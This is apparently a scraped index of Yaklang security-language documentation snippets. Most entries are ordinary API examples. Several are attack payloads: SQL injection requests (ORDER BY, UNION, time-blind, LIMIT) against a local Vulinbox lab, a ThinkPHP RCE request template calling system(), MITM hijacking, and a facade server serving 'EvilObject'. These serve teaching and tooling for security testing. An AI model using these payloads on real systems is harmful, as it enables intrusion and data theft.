Yaklang

https://yaklang.io/
Admin
Yaklang is a domain-specific programming language designed for cyber security, integrating...
Tokens:1,179,141
Snippets:10,211
Trust Score:6.5
Update:2 months ago
Show doc for...
Tokens:
Raw
### Example apk installed file content

Source: https://yaklang.io/blog/yaklang-sca-standard-library

A sample of the installed package database file used by Alpine Linux systems.

```text
C:Q1i+1SpSpyplqn9ztFds6RP7eIv8U=P:curlV:8.1.2-r0A:x86_64S:139967I:241664T:URL retrival utility and libraryU:https://curl.se/L:curlo:curlm:Natanael Copa <ncopa@alpinelinux.org>t:1685465048c:e8990bc463779592e3fb62eae7aacc48ed8abb3fD:libcurl=8.1.2-r0 so:libc.musl-x86_64.so.1 so:libcurl.so.4 so:libz.so.1p:cmd:curl=8.1.2-r0F:usrF:usr/binR:curla:0:0:755Z:Q1L2dyojkjpAQ7JazurYSkGNQZFTk=  
```

--------------------------------

### Target Environment Setup

Source: https://yaklang.io/blog/ghost-bits-waf-bypass-with-codec-and-fuzz

Example command and target details for the CVE-2025-41242 vulnerable environment.

```bash
docker-compose 启动后，目标地址：http://127.0.0.1:8080漏洞点：Spring 的 StringUtils.uriDecode() 在特定路径下会丢弃 Unicode 高 8 位  
```

--------------------------------

### Start and enable OpenLDAP service

Source: https://yaklang.io/blog/build-a-log4j-detection-tool

Start the slapd service and enable it to run on boot.

```bash
systemctl start slapd
systemctl enable slapd
```

--------------------------------

### TCP MITM Usage Example

Source: https://yaklang.io/docs/api/tcpmitm

Demonstrates starting a TCP MITM instance with custom dialer, buffer settings, and frame hijacking logic.

```yak
// 真实功能示例：劫持每个连接的数据帧，转发到真实服务端，同时按方向统计流量（需要连接来源，示意性用法）  
connChan = make(chan any, 16)  
mitm = tcpmitm.Start(connChan,  
    tcpmitm.dialer(func(addr) { return tcp.Connect("127.0.0.1", 3306)~ }), // 自定义到真实服务端的拨号  
    tcpmitm.protocolAwareSplit(true),                                      // 按协议感知切分数据帧  
    tcpmitm.maxBufferSize(16 * 1024),                                      // 单帧缓冲上限 16KB  
    tcpmitm.hijackTCPFrame(func(flow, frame) {  
        println(flow.String(), "frame bytes:", len(frame.GetRawBytes()))  
        frame.Forward() // 放行；也可 frame.Drop() 丢弃，或 frame.SetRawBytes(newBytes) 改写  
    }),  
)~  
go mitm.Run()  
// 后续把劫持到的连接写入 connChan 即可被中间人处理
```

--------------------------------

### Install a tool

Source: https://yaklang.io/docs/api/toolbox

Downloads and installs a specified third-party binary tool.

```yak
// 示意性示例，需要网络下载第三方工具  
err = toolbox.Install("ffmpeg")  
if err != nil { die(err) }  
```

--------------------------------

### Set installation context

Source: https://yaklang.io/docs/api/toolbox

Configures a context for installation to manage timeouts or cancellations.

```yak
// 示意性示例，需要网络下载第三方工具  
ctx, cancel = context.WithTimeout(context.Background(), 60 * time.Second)  
defer cancel()  
err = toolbox.Install("ffmpeg", toolbox.context(ctx))  
```

--------------------------------

### Set installation progress callback

Source: https://yaklang.io/docs/api/toolbox

Registers a callback function to monitor the installation progress.

```yak
// 示意性示例，需要网络下载第三方工具  
err = toolbox.Install("ffmpeg", toolbox.progress(func(p) { println(p) }))  
```

--------------------------------

### Launch MITM Proxy with Start

Source: https://yaklang.io/docs/api/mitm

Starts a standard MITM proxy server on a specified port with optional configuration functions.

```yak
mitm.Start(8080, mitm.host("127.0.0.1"), mitm.callback(func(isHttps, urlStr, req, rsp) { http.dump(req); http.dump(rsp)  })) // 启动一个中间人代理服务器，并将请求和响应打印到标准输出
```

--------------------------------

### GenerateVisibleOneStream Usage Examples

Source: https://yaklang.io/docs/api/regen

Examples showing how to generate visible characters or a phone number.

```go
regen.GenerateVisibleOneStream("[a-z]") // a-z 中随机一个字母  
regen.GenerateVisibleOneStream(`^(13[0-9]|14[57]|15[0-9]|18[0-9])\d{8}$`) // 生成一个手机号  
```

--------------------------------

### Advanced Request Example

Source: https://yaklang.io/blog/write-a-standard-yaklang-poc-in-15-minutes

Example of using poc.HTTPEx with multiple configuration options.

```yak
rsp, req = poc.HTTPEx(
    `POST /post HTTP/1.1
Content-Type: application/json
Host: pie.dev`, 
    poc.https(true), 
    poc.timeout(15), 
    poc.proxy("http://127.0.0.1:1080"), 
    poc.appendHeader("AAA", "BBB"),
    poc.appendQueryParam("a", "b"),
    poc.appendPostParam("c", "d"),
)~
```

--------------------------------

### Setup ThinkPHP Vulnerable Environment

Source: https://yaklang.io/docs/buildinlibs/lib_nuclei

Commands to clone the Vulhub repository and start a vulnerable ThinkPHP 5.0.23 container using Docker Compose.

```bash
git clone https://github.com/vulhub/vulhub --depth 1  
cd vulhub/thinkphp/5.0.23-rce  
docker-compose up -d  
```

--------------------------------

### Install OpenLDAP packages

Source: https://yaklang.io/blog/build-a-log4j-detection-tool

Install the necessary OpenLDAP server and client packages via yum.

```bash
yum install -y openldap openldap-clients openldap-servers
```

--------------------------------

### Discover GET Parameters

Source: https://yaklang.io/docs/security/cap8-1-http

Example of using GetGetQueryParams to automatically identify GET parameters in a request.

```yak
// 特性: 自动发现 GET 参数  
// 关键词: fuzz.HTTPRequest, GetGetQueryParams  
raw = `POST /?get1=1&get2=2 HTTP/1.1  
Host: www.example.com  
Content-Type: application/x-www-form-urlencoded  
Cookie: cookie1 = 1;cookie2 = 2  
  
post1=1&post2=2`  
params = fuzz.HTTPRequest(raw, fuzz.https(true))~.GetGetQueryParams()  
// 收集参数名(顺序不保证, 排序后断言)  
names = []  
for param in params { names = append(names, param.Name()) }  
names.Sort()  
assert len(params) == 2, "should discover 2 GET params"  
println(str.Join(names, ",")) // OUT: get1,get2  
```

--------------------------------

### Initialize and Configure FileMonitor

Source: https://yaklang.io/docs/api/filemonitor

Demonstrates creating a new monitor instance with specific watch paths and recursive settings, followed by verifying the configuration.

```yak
m = filemonitor.NewMonitor({"watch_paths": [os.TempDir()], "recursive": true})~
cfg = m.GetConfig()
println(len(cfg.WatchPaths))   // OUT: 1
assert len(cfg.WatchPaths) == 1, "monitor should watch exactly one path"
assert cfg.Recursive == true, "recursive option should be enabled"
```

--------------------------------

### Identify JSON in GET Parameters

Source: https://yaklang.io/docs/security/cap8-1-http

Example of a request containing JSON data within a GET parameter.

```http
GET /?a={"abc":"test"} HTTP/1.1  
Host: www.example.com  
  
abc=1
```

--------------------------------

### Serve

Source: https://yaklang.io/docs/api/httpserver

Starts a general HTTP server with optional configuration functions.

```APIDOC
## Serve

### Description
Starts an HTTP server on the specified host and port, supporting optional configuration functions for handlers and context.

### Signature
`Serve(host string, port int, opts ...HttpServerConfigOpt) error`

### Parameters
- **host** (string) - Required - Listening host
- **port** (int) - Required - Listening port
- **opts** (...HttpServerConfigOpt) - Optional - Configuration options (e.g., handler, routeHandler, context)

### Example
```
err = httpserver.Serve("127.0.0.1", 8888, httpserver.handler(func(rspWriter, req) { rspWriter.Write("Hello world") }))
```
```

--------------------------------

### Start crawler with configuration options

Source: https://yaklang.io/docs/buildinlibs/lib_crawler

Demonstrates how to pass configuration options like maxRequest and connectTimeout to the crawler.

```yak
ch, err := crawler.Start(  
    "https://www.leavesongs.com",  
    crawler.maxRequest(20),      # 设置参数：最多获取 20 个连接  
    crawler.connectTimeout(3),   # 设置参数：每个请求超时时间为 3 秒  
)  
  
// 如果启动爬虫失败，则推出程序，抛出错误  
die(err)  
  
for result := range ch {  
    println(result.Url())  
}  
```

--------------------------------

### Initial Server Implementation

Source: https://yaklang.io/blog/irify-incremental-compilation-part5

The base server setup defining safe and unsafe handlers for testing incremental compilation.

```go
package main  
import (  
    "fmt"  
    "net/http"  
)  
func main() {  
    http.HandleFunc("/unsafe", unsafeHandler)  
    http.HandleFunc("/safe", safeHandler)  
    fmt.Println("Server starting on :8080...")  
    if err := http.ListenAndServe(":8080", nil); err != nil {  
        fmt.Printf("Server error: %v\n", err)  
    }  
}  
```

--------------------------------

### Set HTTP Request Body

Source: https://yaklang.io/docs/buildinlibs/lib_http

Example of using the http.body option within a GET request.

```yak
http.Get("http://example.com", http.body("your body... here"))
```

--------------------------------

### Create and Manage Files with file.OpenFile

Source: https://yaklang.io/docs/buildinlibs/lib_file

Demonstrates creating a file with specific permissions and performing basic write and cleanup operations.

```yak
// 创建简单的文件  
f, err := file.OpenFile("_testFile.txt", file.O_CREATE|file.O_RDWR, 0777)  
die(err)  
f.Write("we write some Message \n\n\n\n\nasdfahsdfasdf Now\n")  
f.Close()  
  
// 像 cat 一样，把文件打印出来到屏幕上  
file.Cat("_testFile.txt")  
  
// 移除文件  
file.Rm("_testFile.txt")
```

--------------------------------

### Quick Start Nuclei Scan

Source: https://yaklang.io/docs/buildinlibs/lib_nuclei

A minimal example to trigger a vulnerability scan against a target domain.

```yak
nuclei.Scan("example.com")  
```

--------------------------------

### Executing Commands with SystemBatch

Source: https://yaklang.io/docs/api/exec

Example demonstrating how to use SystemBatch with concurrency, timeout, and callback configurations to process multiple commands.

```yak
results = make([]string, 0)  
lock = sync.NewMutex()  
exec.SystemBatch("echo batch{{int(1-3)}}",  
    exec.timeout(10),  
    exec.concurrent(5),  
    exec.callback(func(cmd, result) {  
        lock.Lock(); results = append(results, string(result)); lock.Unlock()  
    }),  
)  
println(len(results))   // OUT: 3  
assert len(results) == 3, "SystemBatch should run the three expanded commands"
```

--------------------------------

### Start a General HTTP Server

Source: https://yaklang.io/docs/api/httpserver

Starts an HTTP server with optional configuration functions like handlers or route definitions.

```yak
err = httpserver.Serve("127.0.0.1", 8888, httpserver.handler(func(rspWriter, req) { rspWriter.Write("Hello world") }))
```

--------------------------------

### Get Branch Commit Range

Source: https://yaklang.io/docs/api/git

Retrieves the start and end commit hashes for a specified branch.

```yak
// 获取某分支的起止 commit（示意性示例，需替换为真实仓库路径）  
start, end, err = git.HeadBranchRange("/path/to/repo", "refs/heads/main")  
if err != nil { die(err) }  
println(start, end)
```

--------------------------------

### Start a Local File System HTTP Server

Source: https://yaklang.io/docs/api/httpserver

Starts a static file server on the specified host and port, mapping a local directory to a URL prefix.

```yak
err = httpserver.LocalFileSystemServe("127.0.0.1", 8888, "/static", "/var/www/static")
```

--------------------------------

### Initialize a map for operations

Source: https://yaklang.io/docs/yak-basic/cap3-stats-vars-and-exprs

A basic map setup used for subsequent dictionary operation examples.

```yak
a = {"a": 234, "b": "sasdfasdf", "ccc": "13"}  
```

--------------------------------

### Quick Start: Local Compilation and Matching

Source: https://yaklang.io/docs/api/rehs

Demonstrates compiling multiple regex patterns into a group, performing existence checks, finding all matches, and inspecting backend information.

```yak
// 把多条正则统一编译为一个 Group  
group = rehs.BuildGroup(["admin", "(?i)password", "token=\\w+"])~  
  
// 存在性判定：命中即停，最快  
assert group.Match("see admin here"), "should match admin"  
  
// 取全部命中：含正则、偏移与命中文本  
for m in group.Find("admin token=abc123") {  
    println(m.Pattern, m.From, m.To, m.Value)  
}  
  
// 枚举命中的正则集合  
pats = group.MatchedPatterns("admin password token=zzz")  
assert len(pats) == 3, "should match all three"  
  
// 查看后端信息  
info = group.Info()  
log.info("backend=%v tier=%v simd=%v patterns=%v", info.Backend, info.Tier, info.SIMD, info.NumPatterns)  
group.Close()  
```

--------------------------------

### HTTP Request for Multi-condition Injection

Source: https://yaklang.io/blog/vulinbox-sql-injection-techniques

Example of an HTTP GET request exploiting the multi-condition ORDER BY vulnerability.

```http
GET /user/order3?order=DESC%2C(CASE%20WHEN%20(SELECT%20COUNT(*)%20FROM%20vulin_users%20WHERE%20role%3D'admin')%3E0%20THEN%20age%20ELSE%20-age%20END) HTTP/1.1  
Host: 127.0.0.1:8080  
Accept-Encoding: gzip, deflate, br  
Accept: */*  
Accept-Language: en-US;q=0.9,en;q=0.8  
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36  
Cache-Control: max-age=0  
```

--------------------------------

### Define RCE Payload

Source: https://yaklang.io/blog/thinkphp-rce-passive-scan-plugin

Example of a GET request payload for ThinkPHP RCE using fuzz tags.

```http
GET /index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]={{url({{params(cmd)}})}} HTTP/1.1  
Host: {{params(target)}}  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
Accept-Encoding: deflate  
Accept-Language: zh-CN,zh;q=0.9  
Cache-Control: max-age=0  
Connection: close  
Content-Length: 0  
Upgrade-Insecure-Requests: 1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
```

--------------------------------

### Get Process Tree

Source: https://yaklang.io/docs/api/hids

Retrieves the process tree starting from a specific PID or the system init process.

```yak
// 获取指定进程的进程树  
tree, err = hids.GetProcessTree(1234)  
  
// 获取整个系统的进程树  
tree, err = hids.GetProcessTree(1)
```

--------------------------------

### httpserver.Serve

Source: https://yaklang.io/docs/buildinlibs/lib_http

Starts a simple HTTP server.

```APIDOC
## fn httpserver.Serve(host: string, port: int, vars: ...yaklib._httpServerConfigOpt): error

### Description
Starts an HTTP server on the specified host and port. Supports configuration options for context, handlers, and HTTPS certificates.
```

--------------------------------

### Define a standard Golang HTTP handler

Source: https://yaklang.io/blog/writing-syntaxflow-rules-for-golang

A basic example of a Golang HTTP server setup with a handler function.

```go
func handler(w http.ResponseWriter, r *http.Request) {  
    ......  
}  
func main() {  
    http.HandleFunc("/", handler)  
    http.ListenAndServe(":8080", nil)  
}  

```

--------------------------------

### NewVMFromDeviceWithContext

Source: https://yaklang.io/docs/api/netstack

Initializes a network stack virtual machine with a context for lifecycle management.

```APIDOC
## NewVMFromDeviceWithContext(ctx context.Context, device lowtun.Device)

### Description
Creates a network stack virtual machine using a provided context to control the VM lifecycle.

### Parameters
- **ctx** (context.Context) - Context for lifecycle control
- **device** (lowtun.Device) - The TUN device to use

### Returns
- **r1** (*NetstackVM) - Network stack VM object
- **r2** (error) - Error information if initialization fails
```

--------------------------------

### Start gRPC Server

Source: https://yaklang.io/blog/remote-mode-hijacking-scanning-and-pentest

在服务器上启动带 TLS 和密码认证的 gRPC 服务，供远程客户端连接。

```bash
yak grpc --host 0.0.0.0 --tls --secret [your-gre4t-passw0rd]
```

--------------------------------

### HTTP Request for Backtick ORDER BY Injection

Source: https://yaklang.io/blog/vulinbox-sql-injection-techniques

An example GET request targeting the /user/limit/4/orderby1 endpoint with a malicious orderby parameter.

```http
GET /user/limit/4/orderby1?orderby=id%60%20DESC%2C%20(CASE%20WHEN%20(SELECT%20COUNT(*)%20FROM%20vulin_users%20WHERE%20role%3D'admin')%3E1%20THEN%20id%20ELSE%20-id%20END)%20DESC%2C%20%60id HTTP/1.1  
Host: 127.0.0.1:8080  
Accept-Encoding: gzip, deflate, br  
Accept: */*  
Accept-Language: en-US;q=0.9,en;q=0.8  
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36  
Cache-Control: max-age=0  
```

--------------------------------

### Path-based SQL Injection Request

Source: https://yaklang.io/blog/vulinbox-sql-injection-techniques

Example of an HTTP GET request exploiting a SQL injection vulnerability in a URL path parameter.

```http
GET /user/path/admin'%20UNION%20SELECT%20id,%27extracted%27,age,role,username,created_at,updated_at,password,remake%20FROM%20vulin_users-- HTTP/1.1  
Host: 127.0.0.1:8080  
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36  

```

--------------------------------

### Open and Create Local Files

Source: https://yaklang.io/docs/yakexamples/yak_misc

Demonstrates how to retrieve a filename from CLI arguments or generate a random one, then open it for writing.

```yak
// 从命令行获取文件名，如果用户没有输入，我们自定义一个随机文件名  
domainFileName = cli.String("domain-result", cli.setDefault(sprintf("yakmisc-domain-result-%v.txt", randstr(15))))  
  
// 打开/创建这个随机的文件名  
domainResult, err = file.Open(domainFileName)  
  
// 如果打开文件失败，则推出脚本  
die(err)  
  
// 把 domainResult 文件及时关闭  
defer domainResult.Close()  
```

--------------------------------

### Time-based Blind SQL Injection Request

Source: https://yaklang.io/blog/vulinbox-sql-injection-techniques

Example of a GET request exploiting a numeric SQL injection vulnerability in the id parameter.

```http
GET /user/id-time-blind?id=1%20AND%20(SELECT%20CASE%20WHEN%20(SELECT%20COUNT(*)%20FROM%20vulin_users%20WHERE%20role%3D'admin')%3E1%20THEN%20sleep(5)%20ELSE%201%20END) HTTP/1.1  
Host: 127.0.0.1:8080  
Accept-Encoding: gzip, deflate, br  
Accept: */*  
Accept-Language: en-US;q=0.9,en;q=0.8  
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36  
Cache-Control: max-age=0  
```

--------------------------------

### 配置并发与探测超时

Source: https://yaklang.io/docs/api/servicescan

通过 ConfigOption 调整扫描并发数与单个探测包的超时时间。

```go
// 目标端口较多时调大并发，并设置单个探测包超时  
ch, err = servicescan.Scan("192.168.1.1/24", "1-1000",  
    servicescan.concurrent(50),   // 50 个并发  
    servicescan.probeTimeout(5),  // 单个探测包 5 秒超时  
)  
die(err)  
for result := range ch {  
    if result.IsOpen() {  
        println(result.String())  
    }  
}  
```

--------------------------------

### HTTP Request for Full Field Injection

Source: https://yaklang.io/blog/vulinbox-sql-injection-techniques

Example of an HTTP GET request exploiting the full field control ORDER BY vulnerability.

```http
GET /user/limit/4/orderby?orderby=(CASE%20WHEN%20(SELECT%20COUNT(*)%20FROM%20vulin_users%20WHERE%20role%3D'admin')%3E1%20THEN%20id%20ELSE%20-id%20END) HTTP/1.1  
Host: 127.0.0.1:8080  
Accept-Encoding: gzip, deflate, br  
Accept: */*  
Accept-Language: en-US;q=0.9,en;q=0.8  
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36  
Cache-Control: max-age=0  
```

--------------------------------

### yakit.AutoInitYakit

Source: https://yaklang.io/products/chapter-5/5-3

Initializes the communication channel between the plugin backend and the Yakit frontend. This must be called at the start of any native plugin that uses UI features.

```APIDOC
## yakit.AutoInitYakit()

### Description
Establishes the communication pipeline between the plugin and the Yakit UI. Required before calling any other UI-related functions.

### Signature
`yakit.AutoInitYakit()`
```

--------------------------------

### Example serialized JSON output

Source: https://yaklang.io/products/chapter-5/5-3

The resulting data structure produced by the cli.Json form after user input is serialized.

```json
{
    "header": [
        {"key": "myHeader", "value": "value1"},
        {"key": "Another-Header", "value": "some-value"}
    ]
}
```

--------------------------------

### pprof.StartCPUProfile

Source: https://yaklang.io/docs/api/pprof

Starts CPU sampling and writes the results to a profile file, blocking until the sampling duration is complete.

```APIDOC
## pprof.StartCPUProfile

### Description
Starts CPU sampling and writes the results to a profile file. The call blocks until the sampling duration (controlled by pprof.timeout or pprof.ctx, default 15 seconds) is complete.

### Signature
`StartCPUProfile(opts ...Option) error`

### Parameters
- **opts** (...Option) - Optional - A list of configuration options.

### Returns
- **r1** (error) - Error information.
```

--------------------------------

### Vulnerable JSON GET Parameter Example

Source: https://yaklang.io/Yaklab/vulinbox/SQLi/03unsafe-id-json

Shows the structure of a URL using a JSON object as a parameter and the resulting SQL query.

```text
/*URL地址*/  
http://127.0.0.1:8787/user/id-json?id={"uid":1,"id":"1"}  
/*原SQL语句*/  
select * from vulin_users where id = 1;  
```

--------------------------------

### LIMIT Clause SQL Injection Request

Source: https://yaklang.io/blog/vulinbox-sql-injection-techniques

Example of an HTTP GET request exploiting a SQL injection vulnerability within a LIMIT parameter.

```http
GET /user/limit/int?limit=(SELECT%20COUNT(*)%20FROM%20vulin_users%20WHERE%20role='admin') HTTP/1.1  
Host: 127.0.0.1:8080  
Accept-Encoding: gzip, deflate, br  
Accept: */*  
Accept-Language: en-US;q=0.9,en;q=0.8  
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36  
Cache-Control: max-age=0  

```

--------------------------------

### Create and use a DNSLog client

Source: https://yaklang.io/docs/api/dnslog

Use NewCustomDNSLog to initialize a client, obtain a domain/token, and check for DNS resolution events.

```yak
// 该示例为示意性用法：依赖外部 DNSLog 平台/反连服务  
client = dnslog.NewCustomDNSLog(dnslog.random())  
domain, token = client.GetSubDomainAndToken()~  
println("dnslog domain:", domain)  
// 触发对 domain 的 DNS 请求后查询回连事件  
events = client.CheckDNSLogByToken()~  
```

--------------------------------

### Installation Options

Source: https://yaklang.io/docs/api/toolbox

Configuration functions used to customize the behavior of toolbox.Install.

```APIDOC
## Installation Options

### toolbox.context(ctx context.Context)
Sets the installation context for controlling cancellation and timeouts.

### toolbox.force(force bool)
Sets whether to force re-installation even if the tool is already installed.

### toolbox.progress(progress ProgressCallback)
Sets a callback function to track installation progress.

### toolbox.proxy(proxy string)
Sets the download proxy address (e.g., "http://127.0.0.1:7890").
```

--------------------------------

### Example dpkg status file content

Source: https://yaklang.io/blog/yaklang-sca-standard-library

A sample of the text-based status file used by Debian-based systems to store installed package information.

```text
Package: curlStatus: install ok installedPriority: optionalSection: webInstalled-Size: 443Maintainer: Ubuntu Developers <ubuntu-devel-discuss@lists.ubuntu.com>Architecture: amd64Multi-Arch: foreignVersion: 7.81.0-1ubuntu1.10Depends: libc6 (>= 2.34), libcurl4 (= 7.81.0-1ubuntu1.10), zlib1g (>= 1:1.1.4)Description: command line tool for transferring data with URL syntax curl is a command line tool for transferring data with URL syntax, supporting DICT, FILE, FTP, FTPS, GOPHER, HTTP, HTTPS, IMAP, IMAPS, LDAP, LDAPS, POP3, POP3S, RTMP, RTSP, SCP, SFTP, SMTP, SMTPS, TELNET and TFTP. . curl supports SSL certificates, HTTP POST, HTTP PUT, FTP uploading, HTTP form based upload, proxies, cookies, user+password authentication (Basic, Digest, NTLM, Negotiate, kerberos...), file transfer resume, proxy tunneling and a busload of other useful tricks.Homepage: https://curl.haxx.seOriginal-Maintainer: Alessandro Ghedini <ghedo@debian.org>  
```

--------------------------------

### Create and Configure a Report

Source: https://yaklang.io/docs/api/report

Initializes a new report object and demonstrates adding content and verifying the internal state.

```yak
r = report.New()  
r.Title("Scan Report")  
r.Markdown("# hello report")  
println(r.TitleValue)   // OUT: Scan Report  
assert len(r.Items) == 1, "report should contain one markdown item"
```

--------------------------------

### Create a Facade Server Instance

Source: https://yaklang.io/docs/api/facades

Initializes a new facade server object that supports multiple protocols. This method returns a server instance for further configuration.

```yak
// 该示例为示意性用法：创建 facade 服务对象  
server = facades.NewFacadeServer("0.0.0.0", 1389, facades.javaClassName("EvilObject"))  
println(server != nil)  
```

--------------------------------

### Create and use a Buffer

Source: https://yaklang.io/docs/api/bufio

Demonstrates initializing a new buffer and writing content to it.

```yak
buffer = bufio.NewBuffer()  
buffer.WriteString("hello yak")  
println(buffer.String())   // OUT: hello yak  
assert buffer.String() == "hello yak", "NewBuffer should hold written content"
```

--------------------------------

### HTTP Request for Comment-based ORDER BY Injection

Source: https://yaklang.io/blog/vulinbox-sql-injection-techniques

An example GET request targeting the /user/limit/4/orderby2 endpoint, utilizing SQL comments to bypass fixed query suffixes.

```http
GET /user/limit/4/orderby2?orderby=id%60%20DESC%2C%20(CASE%20WHEN%20(SELECT%20COUNT(*)%20FROM%20vulin_users%20WHERE%20role%3D'admin')%3E1%20THEN%20id%20ELSE%20-id%20END)%20DESC%20--%20 HTTP/1.1  
Host: 127.0.0.1:8080  
Accept-Encoding: gzip, deflate, br  
Accept: */*  
Accept-Language: en-US;q=0.9,en;q=0.8  
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36  
Cache-Control: max-age=0  
```

--------------------------------

### toolbox.Install

Source: https://yaklang.io/docs/api/toolbox

Installs a specified third-party binary tool from a remote source.

```APIDOC
## toolbox.Install(name string, options ...InstallOptionFunc)

### Description
Downloads and installs a specified third-party tool (e.g., ffmpeg, whisper) to the local environment.

### Parameters
- **name** (string) - Required. The name of the tool to install.
- **options** (...InstallOptionFunc) - Optional. Configuration options such as proxy, force, context, or progress callback.

### Returns
- **err** (error) - Error information if the installation fails.

### Example
```
err = toolbox.Install("ffmpeg")
if err != nil { die(err) }
```

--------------------------------

### Example of Base64 Encoded JSON Query

Source: https://yaklang.io/Yaklab/vulinbox/SQLi/04unsafe-id-b64-json

Demonstrates a standard GET request where the 'id' parameter is a Base64 encoded JSON object, resulting in a direct SQL query.

```http
http://127.0.0.1:8787/user/id-b64-json?id=eyJ1aWQiOjEsImlkIjoiMSJ9 (解码为{"uid":1,"id":"1"})  
/*后端的查询如下*/  
select * from vulin_users where id = 1;
```

--------------------------------

### 实现文件系统钩子进行宏预处理

Source: https://yaklang.io/blog/writing-c-static-analysis-rules

使用文件系统钩子拦截 .c 和 .h 文件读取，并在读取后执行宏预处理逻辑。

```go
funcnewCPreprocessFS(underlying fi.FileSystem) fi.FileSystem {  
    // 1. 设置头文件环境  
    if err := setupHeaderFiles(underlying); err != nil {  
        log.Warnf("setupHeaderFiles failed: %v", err)  
        return underlying  
    }  
    // 2. 创建钩子文件系统  
    hookFS := filesys.NewHookFS(underlying)  
  
    // 3. 注册读取钩子  
    hookFS.AddReadHook(&filesys.ReadHook{  
        Matcher: filesys.SuffixMatcher(".c", ".h"),  
        AfterRead: func(ctx *filesys.ReadHookContext, data []byte) ([]byte, error) {  
            // 宏预处理逻辑  
        },  
    })  
    return hookFS  
}  
```

--------------------------------

### 发起 GET 请求

Source: https://yaklang.io/docs/api/http

使用 Get 函数发起 GET 请求，支持传入多个 HttpOption 配置选项。

```yak
rsp, err = http.Get("http://www.yaklang.com", http.timeout(10))
```

--------------------------------

### Form-urlencoded Data Example

Source: https://yaklang.io/docs/security/cap8-1-http

Example of a standard form-urlencoded POST body.

```text
username=abc&password=123456
```

--------------------------------

### Get

Source: https://yaklang.io/docs/api/http

Initiates a GET request to the specified URL with optional configuration parameters.

```APIDOC
## Get

### Description
Initiates a GET request to the specified URL. Note: This function is deprecated; use poc.Get instead.

### Parameters
- **url** (string) - Required - The target URL.
- **options** (...http_struct.HttpOption) - Optional - Variable arguments for request configuration.

### Response
- **r1** (*http_struct.YakHttpResponse) - The response structure reference.
- **r2** (error) - Error information, non-empty if the request fails.
```

--------------------------------

### gRPC Server Startup Logs

Source: https://yaklang.io/blog/remote-mode-hijacking-scanning-and-pentest

启动 gRPC 服务后的控制台输出示例，包含证书信息和监听状态。

```text
[INFO] 2022-07-28 09:31:04 +0800 [default:log.go:178] start to create grpc schema...  
[INFO] 2022-07-28 09:31:04 +0800 [default:log.go:178] load gorm database connection  
[INFO] 2022-07-28 09:31:04 +0800 [default:log.go:178] database dir[/root/yakit-projects] mode: drwxr-xr-x  
[INFO] 2022-07-28 09:31:04 +0800 [default:log.go:178] start to listen on: 0.0.0.0:8087  
[WARN] 2022-07-28 09:31:04 +0800 [default:log.go:168] open ca-cert failed: open build/yakit-grpc-cert.pem: no such file or directory  
[WARN] 2022-07-28 09:31:04 +0800 [default:log.go:168] open ca-key failed: open build/yakit-grpc-key.pem: no such file or directory  
[INFO] 2022-07-28 09:31:04 +0800 [default:log.go:178] serve reverse(facade) server...  
[INFO] 2022-07-28 09:31:05 +0800 [default:log.go:178] use current Root CA to login (For Yakit)  
  
-----BEGIN CERTIFICATE-----  
MIIDDjCCAfagAwIBAgIQcoEeBasnXCB46OPDLIgOxzANBgkqhkiG9w0BAQsFADAg  
MR4wHAYDVQQDExVZYWtpdCBUZWFtU2VydmVyIFJvb3QwIBcNOTkxMjMxMTYwMDAw  
WhgPMjEyMTA3MDQwMTMxMDVaMCAxHjAcBgNVBAMTFVlha2l0IFRlYW1TZXJ2ZXIg  
J+jfSX3Qtnf...............................gsdewfakueZIBdZKK5prYQ  
GFXdd6RK5tGNgaZr3RyiZ1mF9hZ0kpQzQewNw5sLZ4XHU4V9xH0LjUJAdZYLFwjO  
9RBWUjNymnwgrsmzKKAsxBcnNMWG3ZwZsPJrpjMawd7Zl5KGK9HrmxSwrh5IdbAI  
SrG75FlBk70lPIpSnQ6VYteA  
-----END CERTIFICATE-----  
  
[INFO] 2022-07-28 09:31:05 +0800 [default:log.go:178] start to startup grpc server...
```

--------------------------------

### List installed tools

Source: https://yaklang.io/docs/api/toolbox

Retrieves the installation status of all registered third-party tools.

```yak
statusList, err = toolbox.List()  
assert err == nil, "toolbox.List should not fail"  
  
	for s in statusList {  
	    println(s.Name)  
	}  
```

--------------------------------

### mitm.Start

Source: https://yaklang.io/docs/api/mitm

Starts a MITM proxy server on the specified port with optional configuration functions.

```APIDOC
## mitm.Start(port int, opts ...MitmConfigOpt) error

### Description
Starts a MITM (Man-in-the-Middle) proxy server. It accepts zero or more configuration options to modify its behavior.

### Parameters
- **port** (int) - Required - The port to listen on.
- **opts** (...MitmConfigOpt) - Optional - Configuration options (e.g., callback, context, gmtls settings).

### Returns
- **error** - Returns an error if the server fails to start.
```

--------------------------------

### 自动识别 Get 参数进行模糊测试

Source: https://yaklang.io/docs/yakexamples/fuzz-request

使用 GetGetQueryParams 自动获取所有 GET 参数对象，并直接调用 Fuzz 方法进行测试。

```yak
raw = `GET /target-path?abc=123 HTTP/1.1  
Host: www.example.com  
User-Agent: Ur-Awesome-UA/1.0001  
  
`  
  
freq = fuzz.HTTPRequest(raw, fuzz.https(true))~  
  
for param in freq.GetGetQueryParams() {  
    token = str.RandStr(10)  
    param.Fuzz(token).Show()  
}  
  
/*  
OUTPUT:  
  
GET /target-path?abc=jvNKFnbtRo HTTP/1.1  
Host: www.example.com  
User-Agent: Ur-Awesome-UA/1.0001  
  
*/  
